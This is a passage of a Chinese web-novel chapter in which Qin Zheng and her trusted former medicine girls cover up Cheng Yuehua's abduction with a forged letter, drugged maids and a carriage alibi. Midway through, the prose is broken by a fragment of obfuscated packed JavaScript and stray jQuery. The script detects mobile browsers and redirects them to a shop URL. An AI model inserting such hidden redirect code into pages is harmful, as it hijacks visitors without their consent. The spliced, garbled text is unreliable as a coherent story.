然后,她看向那仆妇,露出了笑容:“白芷,你干得很不错,今天多谢你了。”
那粗壮仆妇露出个笑容:“小姐您也太客气了。”
“当初要不是你寻到我们,拉我们出了泥坑,我现在只怕命都没了,又哪儿能过如今的日子。”
“小姐您是我的救命恩人,我为你做什么都应该的。”
秦筝微微一笑。
当年太后娘娘在大虞朝诱以厚禄与爵位,召集为自己试药的小药女,动心得并不止永安侯与侯夫人。
饶是经过重重筛选,和秦筝一起被送上栖凤山的也有一百人。
虽然只有秦筝体质特殊,最终成了太后娘娘的药女。
那一百名小药女却也因各种原因留在了栖凤山上,成为了小药童、小婢女、粗使丫鬟等……
虽然因种种原因,秦筝在栖凤山上时,与庄蓝、锦秀、夏蝉更亲近。
但有着这一段‘患难之情’,秦筝与这一百名小药女彼此间有着同窗之谊。
后来随着到了嫁人年纪,这一百名小药女们陆续下了山。
最后,秦筝也下山了。
刚一下栖凤山,秦筝初夺回落霞苑后,就立即去寻了锦秀,确认了她安全,又寻了庄蓝入府。
这之后,秦筝也一直没放弃接着寻找这一百名小药女。
在她印象里,这一批小药女都是被家人‘卖’到栖凤山的,并不受家人宠爱,有许多过得并不好,甚至早早凋零了。
稍微有余力的情况下,秦筝希望能稍微让她们好过些。
但在后来与侯夫人等人斗争过程中,秦筝逐渐意识到这些小药女的重要性。
她太缺乏独属于自己,能够信任的手下了。
外头买来的人,能用,却到底忠心不够,不能委以重任。
寻常高门贵女只一出生时起,家里便会给她配好这些人。
但永安侯府底子薄,并无多少家生子,又有永安侯和侯夫人捣乱,总归很难让人信任。
贞国公府那边的人更不必提。
晦气得很!
太子给的人……
有皇后娘娘的前车之鉴在先,秦筝敢用却不敢信。
有很长一段时间里,秦筝手中有钱、还有着爵位和地位,却是个光杆司令。
好在从六个月前起,秦筝大把大把洒出了钱财后,终于找到了十几个昔日栖凤山上的小药女。
对于如今已生活安定,秦筝只给了她们一些银钱,让她们有事可以来寻她。
剩下生活过得不好的,秦筝便再三询问她们未来有何打算。
若有想走的,秦筝会帮她们解决如今拖累,将她们安置在陈记大药行里。
到了陈记大药行后,秦筝会请从宫里离开的嬷嬷考较她们品性,教她们规矩与忠心。
经过重重筛选后,秦筝也只得了七个人。
白芷便是其中之一。
她的年纪是当初这一批小药女里最大的,也最早离开了栖凤山。
她丈夫是个病痨,刚成亲就走了,她刚生下一个孩子,婆家把她卖了。
刚到另一个人家,她又遇上了个‘典妻’的烂货,过了两年多的生不如死的日子。
秦筝救了她和两个女儿,还给她女儿请了女先生教认字。
也正是有了这一批独属于自己,能够信任的手下,秦筝才敢果断地做了程月华。
确认白芷不会掉链子后,秦筝才看向了庄蓝。
“庄蓝姐姐,让你拜托庞君仿写的程明昭写的信,你方才已经放在程月华的小楼里了吧。”
庄蓝点头道:“是。庞君姐姐与金女将共事过,见过金女将的笔迹,能模仿个七八成,糊弄一般人足够了。”
又压低了声音。
“我是以玩笑之名让她写的,并未让她知晓这封信是您要的,要用在何处。”
秦筝点头道:“很好。”
夏蝉也低声道:“锦秀姐姐送来的药很好用,我刚才已经喂程月华这几个丫鬟吃下了。”
“她们醒来后,将有很长一段时间精神恍惚,不知道今天发生了什么。”
“不足为惧。”
如此,外界都只会以为程月华是来赴金女将之约,来到了东林学院小楼,而后神秘失踪的。
秦筝再次点头:“不错。”
“说起来,永安侯府的马车想来都已经出城了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018462|187486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我不能再耽误时间了,否则让二叔三叔等久了,也不好。”
是的。
秦二老爷、秦三老爷与秦筝的陈记大药行携带着粮食、药材、衣物的车队,一大清早就已出发去往京城北郊了。
为掩人耳目,秦筝早上出发时,还在南市大街上露了面。
有着南市大街上的人作证,所有人也都只会以为秦筝还在马车上,无暇来拐走程月华。
或许在判案高手的眼里,秦筝的重重遮掩有些蹩脚。
但短暂糊弄一时,于她而言,却已经够用了。
日后便是真正事发,秦筝也已身居高位,自然不惧无稽指责了。
……
在赵弈珩的马场练了许久,秦筝如今马骑得很不错。
快马两个时辰后,秦筝赶在天黑前赶上了秦家车队。
秦家车队已经在郊外的客栈住下了。
秦筝身披帷幔,从后门上去,敲响了‘自己’的房门。
门被迅速打开。
陈瑾兮左右看了一眼,迅速拉了秦筝进去。
“筝儿,你总算来了。”
秦筝摘下了帏帽,笑着对陈瑾兮道:“为了扮演我,在马车里憋了一天不能出来,谨兮姐姐可受苦了。”
陈瑾兮翻了一个白眼,没好气地道:“筝儿,你是非得要拿我寻开心不是。”
“你我都知晓,皇后娘娘正在京城里外掘地三尺地找我。”
“要不是你今日想出这个办法,让我代替你躲在马车里出了城,我哪儿是不能出马车,是在满京城都寸步难行呢。”
“我以为皇后姑姑一直关着我,不让人给我吃喝,已是要放弃我了。”
“没想到我一夕逃走后,她居然会如此生气,不惜搅动全城来寻找我。”
“还险些害得云升都漏了馅。”
秦筝并未告诉陈瑾兮,她上午去见了程月华的事。
自己让她躲在马车里,假作是她出城,除了掩护她,也是为掩盖自己身上嫌疑。
有些话,哪怕再亲近的人也不能吐露半句。
当下,她只握紧了陈瑾兮的手。
“谨兮姐姐,为了我,你受苦了。”